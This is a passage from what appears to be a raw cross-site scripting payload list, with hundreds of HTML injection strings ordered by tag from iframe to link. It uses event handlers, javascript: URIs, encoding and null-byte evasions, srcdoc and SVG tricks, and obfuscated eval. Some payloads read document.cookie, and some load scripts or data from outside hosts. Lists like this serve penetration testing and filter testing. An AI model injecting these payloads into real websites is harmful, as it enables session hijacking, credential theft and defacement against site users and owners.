src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')"> <iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`> <iframe src=http://ha.ckers.org/scriptlet.html < <iframe src=http://xss.rocks/scriptlet.html < <iframe src=j a v a s c r i p t :a l e r t 28 1 %29></iframe> <iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe> ? <iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe> <iframe src=j a v a s c r i p t :a l e r t %28 1 %29></iframe> <iframe src=javascript:alert(document.location)> <iframe src=javascript:alert(1)> <iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]>]</div> <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>"> <iframe srcdoc="<svg/onload=alert()>"> <iframe srcdoc='<body onload=prompt(1)>'> <iframe srcdoc=<svg/onload=alert(1)>> <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <iframe xmlns="#" src="javascript:alert(1)"></iframe> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe> <i id=x tabindex=1 onactivate=alert(1)></i> <i id=x tabindex=1 onbeforeactivate=alert(1)></i> <i id=x tabindex=1 onbeforedeactivate=alert(1)></i><input autofocus> <i id=x tabindex=1 ondeactivate=alert(1)></i><input id=y autofocus> <i id=x tabindex=1 onfocus=alert(1)></i> <i id=x tabindex=1 onfocusin=alert(1)></i> <image draggable="true" ondrag="alert(1)">test</image> <image draggable="true" ondragend="alert(1)">test</image> <image draggable="true" ondragenter="alert(1)">test</image> <image draggable="true" ondragleave="alert(1)">test</image> <image draggable="true" ondragstart="alert(1)">test</image> <image filter='...'> <image id=x tabindex=1 onactivate=alert(1)></image> <image id=x tabindex=1 onbeforeactivate=alert(1)></image> <image id=x tabindex=1 onbeforedeactivate=alert(1)></image><input autofocus> <image id=x tabindex=1 ondeactivate=alert(1)></image><input id=y autofocus> <image id=x tabindex=1 onfocus=alert(1)></image> <image id=x tabindex=1 onfocusin=alert(1)></image> <image onbeforecopy="alert(1)" contenteditable>test</image> <image onbeforecut="alert(1)" contenteditable>test</image> <image onbeforepaste="alert(1)" contenteditable>test</image> <image onblur=alert(1) tabindex=1 id=x></image><input autofocus> <image onclick="alert(1)">test</image> <image oncontextmenu="alert(1)">test</image> <image oncopy="alert(1)" contenteditable>test</image> <image oncut="alert(1)" contenteditable>test</image> <image ondblclick="alert(1)">test</image> <image onfocusout=alert(1) tabindex=1 id=x></image><input autofocus> <image onkeydown="alert(1)" contenteditable>test</image> <image onkeypress="alert(1)" contenteditable>test</image> <image onkeyup="alert(1)" contenteditable>test</image> <image onmousedown="alert(1)">test</image> <image onmouseenter="alert(1)">test</image> <image onmouseleave="alert(1)">test</image> <image onmousemove="alert(1)">test</image> <image onmouseout="alert(1)">test</image> <image onmouseover="alert(1)">test</image> <image onmouseup="alert(1)">test</image> <image onpaste="alert(1)" contenteditable>test</image> <image src/onerror=alert(1)> <image src=1 href=1 onerror="javascript:alert(1)"></image> <image src="javascript:alert(1)"> <image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓ <image src=validimage.png onload=alert(1)> <image src=validimage.png onloadend=alert(1)> <image src=validimage.png onloadstart=alert(1)> <image src\r\n=valid.jpg onloadend='new class extends (co\u006efir\u006d)/**/`` {}'> <image srcset=1 onerror=alert(1)> <image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <image xmlns:xlink="http://www.w3.org/1999/xlink"> <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee> <img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;> <img/ src=`~` onerror=prompt(1)> <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover= prompt(1) <img/src=@ onerror = prompt('1') <img/src=`%00` onerror=this.onerror=confirm(1) <img/src=`` onerror=this.onerror=confirm(1) <img DYNSRC="javascript:document.vulnerable=true;"> <img LOWSRC="javascript:document.vulnerable=true;"> <img SRC="  javascript:document.vulnerable=true;"> <img SRC="javascript:document.vulnerable=true;" <img SRC="javascript:document.vulnerable=true;"> <img SRC="jav ascript:document.vulnerable=true;"> <img SRC='vbscript:document.vulnerable=true;'> <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)"> <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> <img \x00src=x onerror="alert(1)"> <img \x00src=x onerror="javascript:alert(1)"> <img\x10src=x onerror="javascript:alert(1)"> <img\x11src=x onerror="javascript:alert(1)"> <img \x11src=x onerror="javascript:alert(1)"> <img \x12src=x onerror="javascript:alert(1)"> <img\x13src=x onerror="javascript:alert(1)"> <img\x32src=x onerror="javascript:alert(1)"> <img \x34src=x onerror="javascript:alert(1)"> <img \x39src=x onerror="javascript:alert(1)"> <img\x47src=x onerror="javascript:alert(1)"> <img \x47src=x onerror="javascript:alert(1)"> <img alt='%></xmp><img src=xx:x onerror=alert(134)//'> <img draggable="true" ondrag="alert(1)">test</img> <img draggable="true" ondragend="alert(1)">test</img> <img draggable="true" ondragenter="alert(1)">test</img> <img draggable="true" ondragleave="alert(1)">test</img> <img draggable="true" ondragstart="alert(1)">test</img> <img dynsrc="javascript:document.vulnerable=true;"> <img id=x tabindex=1 onactivate=alert(1)></img> <img id=x tabindex=1 onbeforeactivate=alert(1)></img> <img id=x tabindex=1 onbeforedeactivate=alert(1)></img><input autofocus> <img id=x tabindex=1 ondeactivate=alert(1)></img><input id=y autofocus> <img id=x tabindex=1 onfocus=alert(1)></img> <img id=x tabindex=1 onfocusin=alert(1)></img> <img onbeforecopy="alert(1)" contenteditable>test</img> <img onbeforecut="alert(1)" contenteditable>test</img> <img onbeforepaste="alert(1)" contenteditable>test</img> <img onblur=alert(1) tabindex=1 id=x></img><input autofocus> <img onclick="alert(1)">test</img> <img oncontextmenu="alert(1)">test</img> <img oncopy="alert(1)" contenteditable>test</img> <img oncut="alert(1)" contenteditable>test</img> <img ondblclick="alert(1)">test</img> <img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt; <img onfocusout=alert(1) tabindex=1 id=x></img><input autofocus> <img onkeydown="alert(1)" contenteditable>test</img> <img onkeypress="alert(1)" contenteditable>test</img> <img onkeyup="alert(1)" contenteditable>test</img> <img onmousedown="alert(1)">test</img> <img onmouseenter="alert(1)">test</img> <img onmouseleave="alert(1)">test</img> <img onmousemove="alert(1)">test</img> <img onmouseout="alert(1)">test</img> <img onmouseover="alert(1)">test</img> <img onmouseup="alert(1)">test</img> <img onpaste="alert(1)" contenteditable>test</img> <img src/onerror=alert(1)> <img src=1 href=1 onerror="javascript:alert(1)"></img> <img src=1 onerror=alert(1)> <img src="/" =_=" title="onerror='prompt(1)'"> <img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img> <img src="blah"onmouseover="document.vulnerable=true;"> <img src="blah>" onmouseover="document.vulnerable=true;"> <img src="img-src" onloadend="alert(45)"> <img src="img-src" onloadstart="alert(45)"> <img src="javascript:alert(1)"> <img src="javascript:alert(2)"> <img src="javascript:alert('XSS')"> <img src="javascript:alert('XSS');"> <img src="javascript:document.vulnerable=true;"> <img src="livescript:document.vulnerable=true;"> <img src="mocha:document.vulnerable=true;"> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <img src="x` `<script>javascript:alert(1)</script>"` `> <img src=# onerror\x3D"javascript:alert(1)" > <img src=&{document.vulnerable=true;};> <img src=`%00` onerror=alert(1) <img src=`` onerror=alert(1) <img src=`x` onrerror= ` ;; alert(1) ` /> <img src=`xx:xx`onerror=alert(1)> <img src=asdf onerror=alert(document.cookie)> <img src=foo.png onerror=alert(/xssed/) /> <img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> # <img src=javascript:alert("XSS")> <img src=something onauxclick="new Function `al\ert\`xss\``"> <img src=validimage.png onload=alert(1)> <img src=validimage.png onloadend=alert(1)> <img src=validimage.png onloadstart=alert(1)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src=x\x09onerror="javascript:alert(1)"> <img src=x\x10onerror="javascript:alert(1)"> <img src=x\x11onerror="javascript:alert(1)"> <img src=x\x12onerror="javascript:alert(1)"> <img src=x\x13onerror="javascript:alert(1)"> <img src=x onerror=\x00"javascript:alert(1)"> <img src=x onerror=\x09"javascript:alert(1)"> <img src=x onerror=\x10"javascript:alert(1)"> <img src=x onerror=\x11"javascript:alert(1)"> <img src=x onerror=\x12"javascript:alert(1)"> <img src=x onerror=\x32"javascript:alert(1)"> <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)> <img src=xss onerror=alert(1)> <img src ?itworksonchrome?\/onerror = alert(1) <img src ?itworksonchrome?\/onerror = alert(1)??? <img src\x00=x onerror="javascript:alert(1)"> <img src\x09=x onerror="javascript:alert(1)"> <img src\x10=x onerror="javascript:alert(1)"> <img src\x11=x onerror="javascript:alert(1)"> <img src\x12=x onerror="javascript:alert(1)"> <img src\x13=x onerror="javascript:alert(1)"> <img src\x32=x onerror="javascript:alert(1)"> <img src\x47=x onerror="javascript:alert(1)"> <img src onerror /" '"= alt=javascript:alert(1)//"> <img src onerror=%26emsp;prompt`${document.domain}`> <img srcset=1 onerror=alert(1)> <img srcset=validimage.png onload=alert(1)> <img usemap=#x><map name="x"><area href onfocus=alert(1) id=x> <img usemap=#x><map name="x"><area href onfocusin=alert(1) id=x> <import namespace="t" implementation="#default#time2"> <input/onmouseover="javaSCRIPT:confirm(1)" <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;"> <input autofocus onblur=alert(1)> <input autofocus onfocus=alert(1)> <input autofocus onfocusin=alert(1)> <input draggable="true" ondrag="alert(1)">test</input> <input draggable="true" ondragend="alert(1)">test</input> <input draggable="true" ondragenter="alert(1)">test</input> <input draggable="true" ondragleave="alert(1)">test</input> <input draggable="true" ondragstart="alert(1)">test</input> <input id=x onfocus=alert(1)> <input id=x onfocusin=alert(1)> <input id=x tabindex=1 onactivate=alert(1)></input> <input id=x tabindex=1 onbeforeactivate=alert(1)></input> <input id=x tabindex=1 onbeforedeactivate=alert(1)></input><input autofocus> <input id=x tabindex=1 ondeactivate=alert(1)></input><input id=y autofocus> <input name="injected" value="injected" dirname="password" /> <input name="password" type="password" value="secret" /> <input name="secret" type="password"> <input name="username" value="admin" /> <input onauxclick=alert(1)> <input onbeforecopy=alert(1) value="XSS" autofocus> <input onbeforecut=alert(1) value="XSS" autofocus> <input onbeforepaste=alert(1) value="" autofocus> <input onblur=alert(1) id=x><input autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus> <input onblur=write(XSS) autofocus><input autofocus> <input onchange=alert(1) value=xss> <input onclick="alert(1)">test</input> <input oncontextmenu="alert(1)">test</input> <input oncopy=alert(1) value="XSS" autofocus> <input oncut=alert(1) value="XSS" autofocus> <input ondblclick="alert(1)">test</input> <input onfocus=javascript:alert(1) autofocus> <input onfocus=write(XSS) autofocus> <input onfocusout=alert(1) id=x><input autofocus> <input oninput=alert(1) value=xss> <input onkeydown="alert(1)" contenteditable>test</input> <input onkeypress="alert(1)" contenteditable>test</input> <input onkeyup="alert(1)" contenteditable>test</input> <input onmousedown="alert(1)">test</input> <input onmouseenter="alert(1)">test</input> <input onmouseleave="alert(1)">test</input> <input onmousemove="alert(1)">test</input> <input onmouseout="alert(1)">test</input> <input onmouseover="alert(1)">test</input> <input onmouseup="alert(1)">test</input> <input onpaste=alert(1) value="" autofocus> <input onselect=alert(1) value="XSS" autofocus> <input type="image" dynsrc="javascript:document.vulnerable=true;"> <input type="submit"> <input type="text" value=``<div/onmouseover='alert(1)'>X</div> <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> <input type=checkbox id=x onfocus=alert(1)> <input type=checkbox id=x onfocusin=alert(1)> <input type=image onloadend=alert(1) src=validimage.png> <input type=image onloadstart=alert(1) src=validimage.png> <input type=image src=1 onerror=alert(1)> <input type=image src=validimage.png onload=alert(1)> <input type=radio id=x onfocus=alert(1)> <input type=radio id=x onfocusin=alert(1)> <input type=text autofocus onfocus=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))// <input value=<><iframe/src=javascript:confirm(1) <ins draggable="true" ondrag="alert(1)">test</ins> <ins draggable="true" ondragend="alert(1)">test</ins> <ins draggable="true" ondragenter="alert(1)">test</ins> <ins draggable="true" ondragleave="alert(1)">test</ins> <ins draggable="true" ondragstart="alert(1)">test</ins> <ins id=x tabindex=1 onactivate=alert(1)></ins> <ins id=x tabindex=1 onbeforeactivate=alert(1)></ins> <ins id=x tabindex=1 onbeforedeactivate=alert(1)></ins><input autofocus> <ins id=x tabindex=1 ondeactivate=alert(1)></ins><input id=y autofocus> <ins id=x tabindex=1 onfocus=alert(1)></ins> <ins id=x tabindex=1 onfocusin=alert(1)></ins> <ins onbeforecopy="alert(1)" contenteditable>test</ins> <ins onbeforecut="alert(1)" contenteditable>test</ins> <ins onbeforepaste="alert(1)" contenteditable>test</ins> <ins onblur=alert(1) tabindex=1 id=x></ins><input autofocus> <ins onclick="alert(1)">test</ins> <ins oncontextmenu="alert(1)">test</ins> <ins oncopy="alert(1)" contenteditable>test</ins> <ins oncut="alert(1)" contenteditable>test</ins> <ins ondblclick="alert(1)">test</ins> <ins onfocusout=alert(1) tabindex=1 id=x></ins><input autofocus> <ins onkeydown="alert(1)" contenteditable>test</ins> <ins onkeypress="alert(1)" contenteditable>test</ins> <ins onkeyup="alert(1)" contenteditable>test</ins> <ins onmousedown="alert(1)">test</ins> <ins onmouseenter="alert(1)">test</ins> <ins onmouseleave="alert(1)">test</ins> <ins onmousemove="alert(1)">test</ins> <ins onmouseout="alert(1)">test</ins> <ins onmouseover="alert(1)">test</ins> <ins onmouseup="alert(1)">test</ins> <ins onpaste="alert(1)" contenteditable>test</ins> <i onbeforecopy="alert(1)" contenteditable>test</i> <i onbeforecut="alert(1)" contenteditable>test</i> <i onbeforepaste="alert(1)" contenteditable>test</i> <i onblur=alert(1) tabindex=1 id=x></i><input autofocus> <i onclick="alert(1)">test</i> <i oncontextmenu="alert(1)">test</i> <i oncopy="alert(1)" contenteditable>test</i> <i oncut="alert(1)" contenteditable>test</i> <i ondblclick="alert(1)">test</i> <i onfocusout=alert(1) tabindex=1 id=x></i><input autofocus> <i onkeydown="alert(1)" contenteditable>test</i> <i onkeypress="alert(1)" contenteditable>test</i> <i onkeyup="alert(1)" contenteditable>test</i> <i onmousedown="alert(1)">test</i> <i onmouseenter="alert(1)">test</i> <i onmouseleave="alert(1)">test</i> <i onmousemove="alert(1)">test</i> <i onmouseout="alert(1)">test</i> <i onmouseover="alert(1)">test</i> <i onmouseup="alert(1)">test</i> <i onpaste="alert(1)" contenteditable>test</i> <isindex/autofocus/onfocus=alert()> <isindex action=javascript:alert(1) type=submit value=click> <isindex draggable="true" ondrag="alert(1)">test</isindex> <isindex draggable="true" ondragend="alert(1)">test</isindex> <isindex draggable="true" ondragenter="alert(1)">test</isindex> <isindex draggable="true" ondragleave="alert(1)">test</isindex> <isindex draggable="true" ondragstart="alert(1)">test</isindex> <isindex formaction=javascript:alert(1) type=submit value=click> <isindex id=x tabindex=1 onactivate=alert(1)></isindex> <isindex id=x tabindex=1 onbeforeactivate=alert(1)></isindex> <isindex id=x tabindex=1 onbeforedeactivate=alert(1)></isindex><input autofocus> <isindex id=x tabindex=1 ondeactivate=alert(1)></isindex><input id=y autofocus> <isindex id=x tabindex=1 onfocus=alert(1)></isindex> <isindex id=x tabindex=1 onfocusin=alert(1)></isindex> <isindex onbeforecopy="alert(1)" contenteditable>test</isindex> <isindex onbeforecut="alert(1)" contenteditable>test</isindex> <isindex onbeforepaste="alert(1)" contenteditable>test</isindex> <isindex onblur=alert(1) tabindex=1 id=x></isindex><input autofocus> <isindex onclick="alert(1)">test</isindex> <isindex oncontextmenu="alert(1)">test</isindex> <isindex oncopy="alert(1)" contenteditable>test</isindex> <isindex oncut="alert(1)" contenteditable>test</isindex> <isindex ondblclick="alert(1)">test</isindex> <isindex onfocusout=alert(1) tabindex=1 id=x></isindex><input autofocus> <isindex onkeydown="alert(1)" contenteditable>test</isindex> <isindex onkeypress="alert(1)" contenteditable>test</isindex> <isindex onkeyup="alert(1)" contenteditable>test</isindex> <isindex onmousedown="alert(1)">test</isindex> <isindex onmouseenter="alert(1)">test</isindex> <isindex onmouseleave="alert(1)">test</isindex> <isindex onmousemove="alert(1)">test</isindex> <isindex onmouseout="alert(1)">test</isindex> <isindex onmouseover="alert(1)">test</isindex> <isindex onmouseup="alert(1)">test</isindex> <isindex onpaste="alert(1)" contenteditable>test</isindex> <isindex type=image onload=alert(1) src=validimage.png> <isindex type=image src=1 onerror=alert(1)> <isindex type=image src=1 onerror=alert(XSS)> <isindex x="javascript:" onmouseover="alert(XSS)"> <kbd draggable="true" ondrag="alert(1)">test</kbd> <kbd draggable="true" ondragend="alert(1)">test</kbd> <kbd draggable="true" ondragenter="alert(1)">test</kbd> <kbd draggable="true" ondragleave="alert(1)">test</kbd> <kbd draggable="true" ondragstart="alert(1)">test</kbd> <kbd id=x tabindex=1 onactivate=alert(1)></kbd> <kbd id=x tabindex=1 onbeforeactivate=alert(1)></kbd> <kbd id=x tabindex=1 onbeforedeactivate=alert(1)></kbd><input autofocus> <kbd id=x tabindex=1 ondeactivate=alert(1)></kbd><input id=y autofocus> <kbd id=x tabindex=1 onfocus=alert(1)></kbd> <kbd id=x tabindex=1 onfocusin=alert(1)></kbd> <kbd onbeforecopy="alert(1)" contenteditable>test</kbd> <kbd onbeforecut="alert(1)" contenteditable>test</kbd> <kbd onbeforepaste="alert(1)" contenteditable>test</kbd> <kbd onblur=alert(1) tabindex=1 id=x></kbd><input autofocus> <kbd onclick="alert(1)">test</kbd> <kbd oncontextmenu="alert(1)">test</kbd> <kbd oncopy="alert(1)" contenteditable>test</kbd> <kbd oncut="alert(1)" contenteditable>test</kbd> <kbd ondblclick="alert(1)">test</kbd> <kbd onfocusout=alert(1) tabindex=1 id=x></kbd><input autofocus> <kbd onkeydown="alert(1)" contenteditable>test</kbd> <kbd onkeypress="alert(1)" contenteditable>test</kbd> <kbd onkeyup="alert(1)" contenteditable>test</kbd> <kbd onmousedown="alert(1)">test</kbd> <kbd onmouseenter="alert(1)">test</kbd> <kbd onmouseleave="alert(1)">test</kbd> <kbd onmousemove="alert(1)">test</kbd> <kbd onmouseout="alert(1)">test</kbd> <kbd onmouseover="alert(1)">test</kbd> <kbd onmouseup="alert(1)">test</kbd> <kbd onpaste="alert(1)" contenteditable>test</kbd> <keygen autofocus onfocus=alert(1)> <keygen autofocus onfocusin=alert(1)> <keygen draggable="true" ondrag="alert(1)">test</keygen> <keygen draggable="true" ondragend="alert(1)">test</keygen> <keygen draggable="true" ondragenter="alert(1)">test</keygen> <keygen draggable="true" ondragleave="alert(1)">test</keygen> <keygen draggable="true" ondragstart="alert(1)">test</keygen> <keygen id=x onfocus=alert(1)> <keygen id=x onfocusin=alert(1)> <keygen id=x tabindex=1 onactivate=alert(1)></keygen> <keygen id=x tabindex=1 onbeforeactivate=alert(1)></keygen> <keygen id=x tabindex=1 onbeforedeactivate=alert(1)></keygen><input autofocus> <keygen id=x tabindex=1 ondeactivate=alert(1)></keygen><input id=y autofocus> <keygen onbeforecopy="alert(1)" contenteditable>test</keygen> <keygen onbeforecut="alert(1)" contenteditable>test</keygen> <keygen onbeforepaste="alert(1)" contenteditable>test</keygen> <keygen onblur=alert(1) tabindex=1 id=x></keygen><input autofocus> <keygen onclick="alert(1)">test</keygen> <keygen oncontextmenu="alert(1)">test</keygen> <keygen oncopy="alert(1)" contenteditable>test</keygen> <keygen oncut="alert(1)" contenteditable>test</keygen> <keygen ondblclick="alert(1)">test</keygen> <keygen onfocusout=alert(1) tabindex=1 id=x></keygen><input autofocus> <keygen onkeydown="alert(1)" contenteditable>test</keygen> <keygen onkeypress="alert(1)" contenteditable>test</keygen> <keygen onkeyup="alert(1)" contenteditable>test</keygen> <keygen onmousedown="alert(1)">test</keygen> <keygen onmouseenter="alert(1)">test</keygen> <keygen onmouseleave="alert(1)">test</keygen> <keygen onmousemove="alert(1)">test</keygen> <keygen onmouseout="alert(1)">test</keygen> <keygen onmouseover="alert(1)">test</keygen> <keygen onmouseup="alert(1)">test</keygen> <keygen onpaste="alert(1)" contenteditable>test</keygen> <label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]</div> <label draggable="true" ondrag="alert(1)">test</label> <label draggable="true" ondragend="alert(1)">test</label> <label draggable="true" ondragenter="alert(1)">test</label> <label draggable="true" ondragleave="alert(1)">test</label> <label draggable="true" ondragstart="alert(1)">test</label> <label id=x tabindex=1 onactivate=alert(1)></label> <label id=x tabindex=1 onbeforeactivate=alert(1)></label> <label id=x tabindex=1 onbeforedeactivate=alert(1)></label><input autofocus> <label id=x tabindex=1 ondeactivate=alert(1)></label><input id=y autofocus> <label id=x tabindex=1 onfocus=alert(1)></label> <label id=x tabindex=1 onfocusin=alert(1)></label> <label onbeforecopy="alert(1)" contenteditable>test</label> <label onbeforecut="alert(1)" contenteditable>test</label> <label onbeforepaste="alert(1)" contenteditable>test</label> <label onblur=alert(1) tabindex=1 id=x></label><input autofocus> <label onclick="alert(1)">test</label> <label oncontextmenu="alert(1)">test</label> <label oncopy="alert(1)" contenteditable>test</label> <label oncut="alert(1)" contenteditable>test</label> <label ondblclick="alert(1)">test</label> <label onfocusout=alert(1) tabindex=1 id=x></label><input autofocus> <label onkeydown="alert(1)" contenteditable>test</label> <label onkeypress="alert(1)" contenteditable>test</label> <label onkeyup="alert(1)" contenteditable>test</label> <label onmousedown="alert(1)">test</label> <label onmouseenter="alert(1)">test</label> <label onmouseleave="alert(1)">test</label> <label onmousemove="alert(1)">test</label> <label onmouseout="alert(1)">test</label> <label onmouseover="alert(1)">test</label> <label onmouseup="alert(1)">test</label> <label onpaste="alert(1)" contenteditable>test</label> <legend draggable="true" ondrag="alert(1)">test</legend> <legend draggable="true" ondragend="alert(1)">test</legend> <legend draggable="true" ondragenter="alert(1)">test</legend> <legend draggable="true" ondragleave="alert(1)">test</legend> <legend draggable="true" ondragstart="alert(1)">test</legend> <legend id=x tabindex=1 onactivate=alert(1)></legend> <legend id=x tabindex=1 onbeforeactivate=alert(1)></legend> <legend id=x tabindex=1 onbeforedeactivate=alert(1)></legend><input autofocus> <legend id=x tabindex=1 ondeactivate=alert(1)></legend><input id=y autofocus> <legend id=x tabindex=1 onfocus=alert(1)></legend> <legend id=x tabindex=1 onfocusin=alert(1)></legend> <legend onbeforecopy="alert(1)" contenteditable>test</legend> <legend onbeforecut="alert(1)" contenteditable>test</legend> <legend onbeforepaste="alert(1)" contenteditable>test</legend> <legend onblur=alert(1) tabindex=1 id=x></legend><input autofocus> <legend onclick="alert(1)">test</legend> <legend oncontextmenu="alert(1)">test</legend> <legend oncopy="alert(1)" contenteditable>test</legend> <legend oncut="alert(1)" contenteditable>test</legend> <legend ondblclick="alert(1)">test</legend> <legend onfocusout=alert(1) tabindex=1 id=x></legend><input autofocus> <legend onkeydown="alert(1)" contenteditable>test</legend> <legend onkeypress="alert(1)" contenteditable>test</legend> <legend onkeyup="alert(1)" contenteditable>test</legend> <legend onmousedown="alert(1)">test</legend> <legend onmouseenter="alert(1)">test</legend> <legend onmouseleave="alert(1)">test</legend> <legend onmousemove="alert(1)">test</legend> <legend onmouseout="alert(1)">test</legend> <legend onmouseover="alert(1)">test</legend> <legend onmouseup="alert(1)">test</legend> <legend onpaste="alert(1)" contenteditable>test</legend> <li draggable="true" ondrag="alert(1)">test</li> <li draggable="true" ondragend="alert(1)">test</li> <li draggable="true" ondragenter="alert(1)">test</li> <li draggable="true" ondragleave="alert(1)">test</li> <li draggable="true" ondragstart="alert(1)">test</li> <li id=x tabindex=1 onactivate=alert(1)></li> <li id=x tabindex=1 onbeforeactivate=alert(1)></li> <li id=x tabindex=1 onbeforedeactivate=alert(1)></li><input autofocus> <li id=x tabindex=1 ondeactivate=alert(1)></li><input id=y autofocus> <li id=x tabindex=1 onfocus=alert(1)></li> <li id=x tabindex=1 onfocusin=alert(1)></li> <link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg> <link REL="stylesheet" HREF="javascript:document.vulnerable=true;"> <link draggable="true" ondrag="alert(1)">test</link> <link draggable="true" ondragend="alert(1)">test</link> <link draggable="true" ondragenter="alert(1)">test</link> <link draggable="true" ondragleave="alert(1)">test</link> <link draggable="true" ondragstart="alert(1)">test</link> <link href=validstyles.css rel=stylesheet onload=alert(1)> <link id=x tabindex=1 onactivate=alert(1)></link> <link id=x tabindex=1 onbeforeactivate=alert(1)></link> <link id=x tabindex=1 onbeforedeactivate=alert(1)></link><input autofocus> <link id=x tabindex=1 ondeactivate=alert(1)></link><input id=y autofocus> <link onbeforecopy="alert(1)" contenteditable>test</link> <link onbeforecut="alert(1)" contenteditable>test</link> <link onbeforepaste="alert(1)" contenteditable>test</link> <link onblur=alert(1) tabindex=1 id=x></link><input autofocus> <link onclick="alert(1)">test</link> <link oncontextmenu="alert(1)">test</link> <link oncopy="alert(1)" contenteditable>test</link> <link oncut="alert(1)" contenteditable>test</link> <link ondblclick="alert(1)">test</link> <link onfocus=alert(1) id=x tabindex=1 style=display:block> <link 